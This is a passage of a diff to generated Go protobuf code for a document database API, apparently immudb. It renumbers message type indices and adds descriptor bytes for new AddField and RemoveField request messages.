ms.StoreMessageInfo(mi) } @@ -1816,7 +2002,7 @@ func (x *CountDocumentsRequest) String() string { func (*CountDocumentsRequest) ProtoMessage() {} func (x *CountDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1829,7 +2015,7 @@ func (x *CountDocumentsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CountDocumentsRequest.ProtoReflect.Descriptor instead. func (*CountDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{31} + return file_documents_proto_rawDescGZIP(), []int{35} } func (x *CountDocumentsRequest) GetQuery() *Query { @@ -1850,7 +2036,7 @@ type CountDocumentsResponse struct { func (x *CountDocumentsResponse) Reset() { *x = CountDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1863,7 +2049,7 @@ func (x *CountDocumentsResponse) String() string { func (*CountDocumentsResponse) ProtoMessage() {} func (x *CountDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1876,7 +2062,7 @@ func (x *CountDocumentsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CountDocumentsResponse.ProtoReflect.Descriptor instead. func (*CountDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{32} + return file_documents_proto_rawDescGZIP(), []int{36} } func (x *CountDocumentsResponse) GetCount() int64 { @@ -1901,7 +2087,7 @@ type AuditDocumentRequest struct { func (x *AuditDocumentRequest) Reset() { *x = AuditDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1914,7 +2100,7 @@ func (x *AuditDocumentRequest) String() string { func (*AuditDocumentRequest) ProtoMessage() {} func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1927,7 +2113,7 @@ func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use AuditDocumentRequest.ProtoReflect.Descriptor instead. func (*AuditDocumentRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{33} + return file_documents_proto_rawDescGZIP(), []int{37} } func (x *AuditDocumentRequest) GetCollectionName() string { @@ -1976,7 +2162,7 @@ type AuditDocumentResponse struct { func (x *AuditDocumentResponse) Reset() { *x = AuditDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1989,7 +2175,7 @@ func (x *AuditDocumentResponse) String() string { func (*AuditDocumentResponse) ProtoMessage() {} func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2002,7 +2188,7 @@ func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use AuditDocumentResponse.ProtoReflect.Descriptor instead. func (*AuditDocumentResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{34} + return file_documents_proto_rawDescGZIP(), []int{38} } func (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision { @@ -2026,7 +2212,7 @@ type ProofDocumentRequest struct { func (x *ProofDocumentRequest) Reset() { *x = ProofDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[35] + mi := &file_documents_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2039,7 +2225,7 @@ func (x *ProofDocumentRequest) String() string { func (*ProofDocumentRequest) ProtoMessage() {} func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[35] + mi := &file_documents_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2052,7 +2238,7 @@ func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ProofDocumentRequest.ProtoReflect.Descriptor instead. func (*ProofDocumentRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{35} + return file_documents_proto_rawDescGZIP(), []int{39} } func (x *ProofDocumentRequest) GetCollectionName() string { @@ -2098,7 +2284,7 @@ type ProofDocumentResponse struct { func (x *ProofDocumentResponse) Reset() { *x = ProofDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[36] + mi := &file_documents_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2111,7 +2297,7 @@ func (x *ProofDocumentResponse) String() string { func (*ProofDocumentResponse) ProtoMessage() {} func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[36] + mi := &file_documents_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2124,7 +2310,7 @@ func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ProofDocumentResponse.ProtoReflect.Descriptor instead. func (*ProofDocumentResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{36} + return file_documents_proto_rawDescGZIP(), []int{40} } func (x *ProofDocumentResponse) GetDatabase() string { @@ -2250,385 +2436,422 @@ var file_documents_proto_rawDesc = []byte{ 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9c, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, - 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, - 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, 0xd2, 0x01, - 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, - 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, - 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x75, 0x0a, 0x12, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, - 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, - 0x3a, 0x1f, 0x92, 0x41, 0x1c, 0x0a, 0x1a, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x73, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x3a, 0x23, 0x92, 0x41, 0x20, 0x0a, - 0x1e, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0xd2, 0x01, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, - 0x93, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x18, 0x92, 0x41, 0x15, - 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x08, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x6d, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, - 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, - 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0xe2, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, - 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, - 0x6e, 0x3a, 0x35, 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x49, 0x64, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x04, 0x70, 0x61, - 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x08, - 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x84, 0x01, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, + 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x29, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x3a, 0x1e, 0x92, 0x41, 0x1b, + 0x0a, 0x19, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x22, 0x12, 0x0a, 0x10, 0x41, + 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x7e, 0x0a, 0x12, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x22, 0x92, 0x41, 0x1f, + 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, + 0x15, 0x0a, 0x13, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9c, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, + 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, + 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, + 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x75, 0x0a, 0x12, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, - 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, - 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, - 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, - 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, - 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x36, 0x92, 0x41, 0x33, 0x0a, 0x31, 0xd2, - 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0xd2, 0x01, - 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0xd2, 0x01, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, - 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x3a, 0x18, - 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, - 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, - 0x6c, 0x64, 